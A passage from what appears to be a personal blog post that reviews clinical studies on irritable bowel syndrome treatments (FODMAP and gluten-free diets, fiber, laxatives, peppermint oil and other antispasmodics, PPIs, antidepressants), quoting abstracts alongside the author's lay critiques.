I<sup>2</sup>) is a measure of “heterogeneity”, or how different the various effects are. The closer I2 gets to 100%, the greater the differences between studies (which makes you start to wonder why they’re so different).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>N, like n=39, is just how many patients there were in a specific group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The P value, like P=0.62, is the likelihood that a difference found between treatments or conditions is a fluke. By convention, we use P&lt;0.05 to mean significant, as in there’s a less than 5% chance that the difference is a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note for statistics nerds: all the definitions above are rough definitions for a lay audience. If you know the definition better than that, then good on you! Please don’t send me angry messages over it.]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My notes on each study are in <em>italics.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>FODMAP</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low FODMAP diets seem to work, but the studies aren’t very good. It doesn’t necessarily work better than just eating regularly and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\">A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta-study for both gluten-free diet and low FODMAP. I used it to guide my thinking, but also looked at the studies myself.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;There were seven RCTs comparing a low FODMAP diet with various control interventions in 397 participants. A low FODMAP diet was associated with reduced global symptoms compared with control interventions (RR = 0.69; 95% CI 0.54 to 0.88; I2= 25%). The three RCTS that compared low FODMAP diet with rigorous control diets had the least heterogeneity between studies, but also the least magnitude of effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508515010860\">Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome as Well as Traditional Dietary Advice: A Randomized Controlled Trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that this study is relying on food diaries. This is an ok solution to problems of non compliance, but it’s not great, as people can still lie or misremember. Keeping a food diet for 4 weeks is hard! Also, there’s definitely an overlap between the low FODMAP diet and the normal diet. There’s also no placebo group.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects were randomly assigned to groups that ate specific diets for 4 weeks—a diet low in FODMAPs (n = 38) or a diet frequently recommended for patients with IBS (ie, a regular meal pattern; avoidance of large meals; and reduced intake of fat, insoluble fibers, caffeine, and gas-producing foods, such as beans, cabbage, and onions), with greater emphasis on how and when to eat rather than on what foods to ingest (n = 37).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 67 patients completed the dietary intervention (33 completed the diet low in FODMAPs, 34 completed the traditional IBS diet). The severity of IBS symptoms was reduced in both groups during the intervention (<em>P</em> &lt; .0001 in both groups before vs at the end of the 4-week diet), without a significant difference between the groups (<em>P</em> = .62). At the end of the 4-week diet period, 19 patients (50%) in the low-FODMAP group had reductions in IBS severity scores ≥50 compared with baseline vs 17 patients (46%) in the traditional IBS diet group (<em>P</em> = .72).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/66/7/1241.short\">FODMAPs alter symptoms and the metabolome of patients with IBS: a randomised controlled trial | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study is looking directly at the metabolome, which is interesting, and should be more reliable than food diaries. The metabolome does seem to change a lot, which is interesting, but it’s weird to look at urine for the metabolome. Urine is not what would normally be affected by a change in diet.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;We performed a controlled, single blind study of patients with IBS (Rome III criteria) randomised to a low (n=20) or high (n=20) FODMAP diet for 3 weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thirty-seven patients (19 low FODMAP; 18 high FODMAP) completed the 3-week diet. The IBS-SSS was reduced in the low FODMAP diet group (p&lt;0.001) but not the high FODMAP group. LBTs showed a minor decrease in H2 production in the low FODMAP compared with the high FODMAP group. Metabolic profiling of urine showed groups of patients with IBS differed significantly after the diet (p&lt;0.01), with three metabolites (histamine, p-hydroxybenzoic acid, azelaic acid) being primarily responsible for discrimination between the two groups. Histamine, a measure of immune activation, was reduced eightfold in the low FODMAP group (p&lt;0.05).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508513014078\">A Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a pretty good study. They provided food and they collected stool instead of urine or self-report. Again, there’s no placebo control, so that’s a problem, but this is probably as good as you’re going to get with a low FODMAP diet. I wish they had more people and over a longer term.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a study of 30 patients with IBS and 8 healthy individuals (controls, matched for demographics and diet), we collected dietary data from subjects for 1 habitual week. Participants then randomly were assigned to groups that received 21 days of either a diet low in FODMAPs or a typical Australian diet, followed by a washout period of at least 21 days, before crossing over to the alternate diet. Daily symptoms were rated using a 0- to 100-mm <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/visual-analog-scale\">visual analogue scale</a>. Almost all food was provided during the interventional diet periods, with a goal of less than 0.5 g intake of FODMAPs per meal for the <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/low-fodmap-diet\">low-FODMAP diet</a>. All stools were collected from days 17–21 and assessed for frequency, weight, water content, and King\'s Stool Chart rating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects with IBS had lower overall gastrointestinal symptom scores (22.8; 95% confidence interval, 16.7–28.8 mm) while on a diet low in FODMAPs, compared with the Australian diet (44.9; 95% confidence interval, 36.6–53.1 mm; <em>P</em> &lt; .001) and the subjects\' habitual diet. Bloating, pain, and passage of wind also were reduced while IBS patients were on the low-FODMAP diet. Symptoms were minimal and unaltered by either diet among controls. Patients of all IBS subtypes had greater satisfaction with stool consistency while on the low-FODMAP diet, but diarrhea-predominant IBS was the only subtype with altered fecal frequency and King\'s Stool Chart scores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Gluten free diet (in non celiac)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pretty good studies, but there’s not a big effect. All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\"><strong>A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Again, same meta review.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both selected patients that had already responded to a GFD, and then randomized them to continue the diet, or to have the diet “spiked” with gluten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A GFD was associated with reduced global symptoms compared with a control diet (RR = 0.42; 95% CI 0.11 to 1.55; I2= 88%), although this was not statistically significant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/21224837/\">Gluten causes gastrointestinal symptoms in subjects without celiac disease: a double-blind randomized placebo-controlled trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Very skewed women:men ratio. This is “placebo controlled” with normal vs. gluten free muffins. It raises the question of whether the patients could tell the difference between the normal and gluten free muffins, which they probably could.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 34 patients (aged 29-59 years, 4 men) completed the study as per protocol. Overall, 56% had human leukocyte antigen (HLA)-DQ2 and/or HLA-DQ8. Adherence to diet and supplements was very high. Of 19 patients (68%) in the gluten group, 13 reported that symptoms were not adequately controlled compared with 6 of 15 (40%) on placebo (P=0.0001; generalized estimating equation). On a visual analog scale, patients were significantly worse with gluten within 1 week for overall symptoms (P=0.047), pain (P=0.016), bloating (P=0.031), satisfaction with stool consistency (P=0.024), and tiredness (P=0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/26056920/\">Non-Celiac Gluten Sensitivity Has Narrowed the Spectrum of Irritable Bowel Syndrome: A Double-Blind Randomized Placebo-Controlled Trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one is a better placebo because they gave them gluten packets, which would be harder to tell taste wise from gluten free powder. However, the graphs, which I copied below, are terrible and clearly show overlap between placebo and gluten. I’m not a huge fan of this study or how they presented their information, but there does seem to be some effect.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>. In the second stage after six weeks, patients whose symptoms improved to an acceptable level were randomly divided into two groups; patients either received packages containing powdered gluten (35 cases) or patients received placebo (gluten free powder) (37 cases). Overall, the symptomatic improvement was statistically different in the gluten-containing group compared with placebo group in 9 (25.7%), and 31 (83.8%) patients respectively (p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/OD_XoemmNqpSI_F36_qSnOdqcc9dfpkSZ712k2WQA5RFcrtzeSOnjIQpKS-NGm2n4cGVGEZJqODkglWbw7YHMlXMmaUMX9D0k6B4zVOCye3-DKq-lFEdYV4wPmPieqk-TxUXtTO7\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Fiber</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bran and insoluble fiber are probably not effective in any form of IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective. Linseed seems like it’s probably better. It’s hard to tell because the studies aren’t very good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over a max of 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2014.195\">Sci-Hub | The Effect of Fiber Supplementation on Irritable Bowel Syndrome: A Systematic Review and Meta-analysis | 10.1038/ajg.2014.195 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis has a nice risk ratio graph, which is helpful for us. Note that all the results for bran span both sides of the line, so it’s unclear whether it works.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/O5sBs_qNktbfm4SuhbhzTpMtWB1fNef6bxCWLu4dyA9of6pwe3xHG3f07vmFj36ZKSZnNV08lvZZmaHWbraGqJK0cUM0AmUNXHOz-c73e94R-Te8-6N73phF4cDZiVmlxHFsLExQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Laxatives</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laxatives work, but they may not prevent constipation, especially in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I didn’t feel like I had to really prove this one, to be honest. I got lazy.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://qualitysafety.bmj.com/content/10/4/268.short\">Effectiveness of laxatives in adults | BMJ Quality &amp; Safety</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bulk&nbsp; (fibre&nbsp; based)&nbsp; laxatives&nbsp; and&nbsp; osmotic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>laxatives (including lactulose and PEG) are</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>associated with increases in frequency and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>improvements &nbsp; in &nbsp; stool &nbsp; consistency &nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>symptoms of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little evidence is available at present as to</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>the&nbsp; comparative&nbsp; effectiveness&nbsp; of&nbsp; bulk&nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>non-bulk laxatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There&nbsp; is&nbsp; no&nbsp; good&nbsp; evidence&nbsp; that&nbsp; laxatives</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>prevent constipation in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp; stepped&nbsp; approach&nbsp; to&nbsp; laxative&nbsp; treatment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>would seem justified, involving initial inter-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vention with cheaper laxatives, before pro-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ceeding to the more expensive alternatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a pressing need for large compara-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tive trials of diferent strategies for the man-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>agement&nbsp; of&nbsp; constipation&nbsp; in&nbsp; adults.&nbsp; This</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>should include comparisons of the effectiveness of diferent classes of laxative.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Research is also required into the effectiveness&nbsp; of&nbsp; overall&nbsp; dietary&nbsp; change&nbsp; (including increased&nbsp; fluid&nbsp; intake)&nbsp; in&nbsp; the&nbsp; treatment&nbsp; of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Anti spasmodics (dicylomine, peppermint oil, pinaverium, trimebutine)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD003460.pub3/full\">Bulking agents, antispasmodics and antidepressants for the treatment of irritable bowel syndrome - Ruepert, L - 2011 | Cochrane Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a Cochrane review paper. Cochrane is usually seen as the gold standard for reviews, although they’re often too strict.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, note that they reverse RR, so RR above 1 is good.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a beneficial effect for antispasmodics over placebo for improvement of abdominal pain (58% of antispasmodic patients improved compared to 46% of placebo; 13 studies; 1392 patients; RR 1.32; 95% CI 1.12 to 1.55; P &lt; 0.001; NNT = 7), global assessment (57% of antispasmodic patients improved compared to 39% of placebo; 22 studies; 1983 patients; RR 1.49; 95% CI 1.25 to 1.77; P &lt; 0.0001; NNT = 5) and symptom score (37% of antispasmodic patients improved compared to 22% of placebo; 4 studies; 586 patients; RR 1.86; 95% CI 1.26 to 2.76; P &lt; 0.01; NNT = 3). Subgroup analyses for different types of antispasmodics found statistically significant benefits for cimteropium/ dicyclomine, peppermint oil, pinaverium and trimebutine. Separate analysis of the studies with adequate allocation concealment found a significant benefit for improvement of abdominal pain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/BkdShau5oAp6vd8zGdnHTfzVSVH6hPYiyRI5-OEWbDr43a1UPFSnj_WpZS1dVWT-w9k39ydZ3KeVsKndvc6XOLssQ_1bl3YZObV3WWH6O8gBMdVYbDpEwhN1owUpUgwQHxNwUD_8\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1590865807000618\">Peppermint oil (Mintoil®) in the treatment of irritable bowel syndrome: A prospective double blind placebo-controlled randomized trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I wanted to look at peppermint oil specifically because that’s what I used to use. It works well according to this study, although note that there’s a rebound between 4 to 8 weeks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fifty-seven patients with irritable bowel syndrome according to the Rome II criteria, with normal lactose and lactulose breath tests and negative antibody screening for celiac disease, were treated with peppermint oil (two enteric-coated capsules twice per day or placebo) for 4 weeks in a double blind study. The symptoms were assessed before therapy (T0), after the first 4 weeks of therapy (T4) and 4 weeks after the end of therapy (T8).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At T4, 75% of the patients in the peppermint oil group showed a &gt;50% reduction of basal (T0) total irritable bowel syndrome symptoms score compared with 38% in the placebo group (P &lt; 0.009). With peppermint oil at T4 and at T8 compared with T0 a statistically significant reduction of the total irritable bowel syndrome symptoms score was found (T0: 2.19 ± 0.13, T4: 1.07 ± 0.10*, T8: 1.60 ± 0.10*, *P &lt; 0.01 compared with T0, mean ± S.E.M.), while no change was found with the placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.minervamedica.it/en/journals/gazzetta-medica-italiana/article.php?cod=R22Y2005N02A0119\">Efficacy of peppermint oil in the treatment of irritable bowel syndrome: a randomized, controlled trial - Gazzetta Medica Italiana Archivio per le Scienze Mediche 2005 April;164(2):119-26 - Minerva Medica - Journals</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Another study showing an effect of peppermint oil, but I wonder if there was a rebound here, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We enrolled 178 consecutive patients affected by IBS, according to the Rome II diagnostic criteria. They were randomized by computer-generated lists to receive either Mintoil 2 capsules t.i.d. before meals for 3 months, or a placebo. A validated questionnaire was administered every 3 weeks to measure the outcome. Data were analysed by χ2 test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results. Ninety-one patients (22 M, 69 F; mean age 41 yrs; range 18-72 yrs) received Mintoil, and 87 patients (23 M, 64 F; mean age 44 yrs; range 21-74 yrs) assumed the placebo. Three patients withdrew from the study because of non IBS-related diseases, and two patients because of pyrosis. No other adverse events were recorded.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peppermint oil, compared to placebo, improved IBS overall symptoms in 73/91 (80%) vs 31/87 (36%) patients (p&lt;0.02). Particularly, significant improvements were achieved for gastroenteric symptoms, in 88/91 (97%) vs 29/87 (33%) patients (p&lt;0.01), psychical discomfort, in 34/91 (37%) vs 16/87 (18%) patients (p&lt;0.05), and socio-familiar impact, in 69/91 (76%) vs 37/87 (43%) patients (p&lt;0.04).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Discontinuation of proton pump inhibitors</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really an IBS one, but PPIs do lead to SIBO. Discontinuing them may help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2362.2010.02419.x\">Effects of long‐term PPI treatment on producing bowel symptoms and SIBO - Compare - 2011 - European Journal of Clinical Investigation - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I only really wanted one study for this, because it’s pretty well known, but here you go. They gave patients PPI and accidentally gave them IBS. The other patients who weren’t given PPI didn’t get IBS.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Methods Patients with NERD (acid reflux) not complaining of bowel symptoms were selected by upper endoscopy, 24‐h pH‐metry and a structured questionnaire concerning severity and frequency of bloating, flatulence, abdominal pain, diarrhoea and constipation. Patients were treated with esomeprazole 20 mg bid for 6 months. Prior to and after 8 weeks and 6 months of therapy, patients received the structured questionnaire and underwent evaluation of SIBO by glucose hydrogen breath test (GHBT).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results Forty‐two patients with NERD were selected out of 554 eligible patients. After 8 weeks of PPI treatment, patients complained of bloating, flatulence, abdominal pain and diarrhoea in 43%, 17%, 7% and 2%, respectively. After 6 months, the incidence of bowel symptoms further increased and GHBT (glucose hydrogen breath test) was found positive in 11/42 (26%) patients. By a post hoc analysis, a significant (P &lt; 0·05) percentage of patients (8/42) met Rome III criteria for irritable bowel syndrome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Antidepressants</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antidepressants probably make you feel better if you have IBS, in the same way that therapy would. They don’t have any other effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/ajg/Abstract/2004/05000/Paroxetine_to_Treat_Irritable_Bowel_Syndrome_Not.27.aspx\"><strong>Paroxetine to Treat Irritable Bowel Syndrome Not Responding... : Official journal of the American College of Gastroenterology | ACG (lww.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that well-being improves with paroxetine, which is an antidepressant, but specific IBS related symptoms do not.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Group 2, overall well-being improved more with paroxetine than with placebo (63.3%vs 26.3%; p = 0.01), but abdominal pain, bloating, and social functioning did not. With paroxetine, food avoidance decreased (p = 0.03) and work functioning was marginally better (p = 0.08). Before unblinding, more paroxetine recipients than placebo recipients wanted to continue their study medication (84%vs 37%; p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528209181108\">The Effect of Trimipramine in Patients with the Irritable Bowel Syndrome: A Double-Blind Study: Scandinavian Journal of Gastroenterology: Vol 17, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one shows that trimipramine helps when given a bedtime, for both IBS scores and quality of life. However, I’m not entirely sure what this study is measuring, because there’s a lot of vomiting in this study. IBS patients shouldn’t be vomiting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;61 patients were given either 50 mg trimipramine at bedtime or identically looking coded placebo in a prospective study for 4 weeks. The complaints were graded on an analogue scale by both the patients and the physicians. The results showed that the complaint scores were significantly reduced to about half in the placebo group. In the group treated with trimipramine a significantly greater reduction was found for the scores of vomiting, sleeplessness, depression, and for the mucus content of stools. The scores for tiredness during treatment had decreased less in the group receiving trimipramine than in the one receiving placebo. These improvements occurred already during the first week of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/4TbIAZAW-7T9BTfTM0AGL1OhXZWr1YZXApIxVEpelqmKt5Eol1FxXneuEGV4j7WjjsM7CYqmWMm8qHlFAIvoFHGkx1A_N4AJp0o6mUJC-Qzm6nVIdr-CXRj-q3SWrLnmt-jy0_dW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508503006693\">Cognitive-behavioral therapy versus education and desipramine versus placebo for moderate to severe functional bowel disorders - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a fun study which compared therapy vs. desipramine, which is an antidepressant. Therapy came out better than desipramine, desipramine came out kind of better than placebo but it’s hard to tell. This one breaks out the “intention to treat” vs. “per protocol”, which basically means that there were a lot of patients who they intended to treat but didn’t (i.e. they dropped out). Also, if you read between the lines, this sort of detailed “subgroup analysis”, where they try to get really specific about who would benefit from desipramine, is usually an attempt to rescue a study that went poorly so they have to find some benefit somewhere. Not a good study!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intention-to-treat analysis</a> showed CBT as significantly more effective than EDU (<em>P</em> = 0.0001; responder rate, 70% CBT vs. 37% EDU; <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/numbers-needed-to-treat\">number needed to treat</a> [NNT ], 3.1). DES did not show significant benefit over PLA in the intention-to-treat analysis (<em>P</em> = 0.16; responder rate, 60% DES vs. 47% PLA; NNT, 8.1) but did show a statistically significant benefit in the per-protocol analysis (<em>P</em> = 0.01; responder rate, 73% DES vs. 49% PLA; NNT, 5.2), especially when participants with nondetectable blood levels of DES were excluded (<em>P</em> = 0.002). Improvement was best gauged by satisfaction with treatment. Subgroup analyses showed that DES was beneficial over PLA for moderate more than severe symptoms, abuse history, no depression, and diarrhea-predominant symptoms;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2008.03633.x\">Clinical trial: the effect of amitriptyline in patients with diarrhoea‐predominant irritable bowel syndrome - VAHEDI - 2008 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study seems to have a strong effect for low dose amitriptyline, and was overall a well performed study.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients were randomly assigned to receive either 10 mg amitriptyline daily or placebo. Subjects were followed up for 2 months and symptoms were assessed using a questionnaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients receiving amitriptyline showed greater complete response, defined as loss of all symptoms, compared with those receiving placebo (68% vs. 28%, <em>P</em> = 0.01).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/jj6ynhnua_NDKcZUNsJY0jfvSwAahDKfLjZX7sAeYtYs5DSjPQbkszEykIhvBDPLXNLIU9YghGdbxXLbDUW-SL0b_WpqW4cArud_Jgb5YNYY9I98QZySQ23TU_zNX5NKUyV_aXJx\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2721237/\">A randomized controlled trial of imipramine in patients with irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study has a remarkably high dropout rate, and it’s hard to even know what to think. Why did half the study leave?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One hundred and seven patients were enrolled by advertisement or referral by general practitioners and 56 (31 imipramine: 25 placebo) completed the 16-wk study. Baseline characteristics were comparable. A high overall dropout rate was noted in the imipramine and placebo arms (47.5% <em>vs</em> 47.9%, <em>P</em> &gt; 0.05), a mean of 25.0 and 37.4 d from enrollment, respectively (<em>P</em> &lt; 0.05). At the end of 12 wk, there was a significant difference in global symptom relief with imipramine over placebo (per-protocol: 80.6% <em>vs</em> 48.0%, <em>P</em> = 0.01) and a trend on intent-to-treat (ITT) analysis (42.4% <em>vs</em> 25.0%, <em>P</em> = 0.06). This improvement was evident early and persisted to week 16 (<em>P</em> = 0.024 and 0.053 by per-protocol and ITT analyses, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0033318209707649\">A Double-Blind, Randomized, Placebo-Controlled Trial of Paroxetine Controlled-Release in Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study compared psychotherapy vs. 